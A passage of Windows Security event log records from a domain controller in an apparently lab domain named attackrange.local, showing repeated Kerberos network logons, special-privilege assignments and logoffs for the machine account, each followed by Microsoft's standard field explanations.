- Source Port: 64109 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249017 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD7FD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249016 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD78A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249015 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD78A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64108 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249014 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD78A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249013 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD714 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249012 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD714 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64107 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249011 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD714 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249010 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD6A1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249009 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCD6A1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64106 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249008 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCD6A1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249031 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCF140 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249030 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCF140 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64113 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249029 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCF140 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249028 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCF0CF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249027 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCF0CF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64112 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249026 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCF0CF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249025 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCF053 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249024 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCF053 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64111 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249023 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCF053 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249022 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCEFDD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249021 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xCEFDD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64110 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249020 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xCEFDD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249043 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD06E1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249042 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD06E1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64117 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249041 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD06E1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249040 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD0666 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249039 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD0666 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64116 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249038 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD0666 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info 